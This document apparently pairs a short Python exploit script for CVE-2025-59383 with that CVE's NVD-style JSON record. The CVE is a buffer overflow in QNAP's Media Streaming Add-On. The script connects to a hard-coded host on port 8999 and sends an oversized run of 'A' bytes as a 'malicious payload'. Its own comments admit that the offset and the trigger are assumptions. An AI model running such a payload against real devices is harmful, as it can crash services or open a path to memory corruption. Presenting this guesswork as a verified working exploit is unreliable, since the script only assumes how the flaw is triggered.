CVE-2025-59383

import socket # Target configuration target_host = "192.168.1.10" target_port = 8999 # Constructing malicious payload # The vulnerability is triggered by sending a long string to overflow the buffer # Offset and padding may vary based on the specific firmware version buffer_size = 1024 payload = b"A" * buffer_size try: # Create socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # Sending the payload to the vulnerable service # Assuming a simple TCP connection triggers the overflow s.send(payload) print("[+] Payload sent successfully to %s:%d" % (target_host, target_port)) s.close() except Exception as e: print("[-] Error: %s" % str(e))

{"cve": {"id": "CVE-2025-59383", "sourceIdentifier": "[email protected]", "published": "2026-03-20T17:16:42.007", "lastModified": "2026-04-14T01:17:24.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow vulnerability has been reported to affect Media Streaming Add-On. The remote attackers can then exploit the vulnerability to modify memory or crash processes.\n\nWe have already fixed the vulnerability in the following version:\nMedia Streaming Add-on 500.1.1 and later"}, {"lang": "es", "value": "Se ha informado de una vulnerabilidad de desbordamiento de búfer que afecta a Media Streaming Add-On. Los atacantes remotos pueden entonces explotar la vulnerabilidad para modificar la memoria o bloquear procesos.\n\nYa hemos corregido la vulnerabilidad en la siguiente versión:\nMedia Streaming Add-on 500.1.1 y posteriores"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:media_streaming_add-on:*:*:*:*:*:*:*:*", "versionEndExcluding": "500.1.1.0", "matchCriteriaId": "62A7190A-ECA8-43F7-AAD4-0CA1644D9622"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-26-09", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}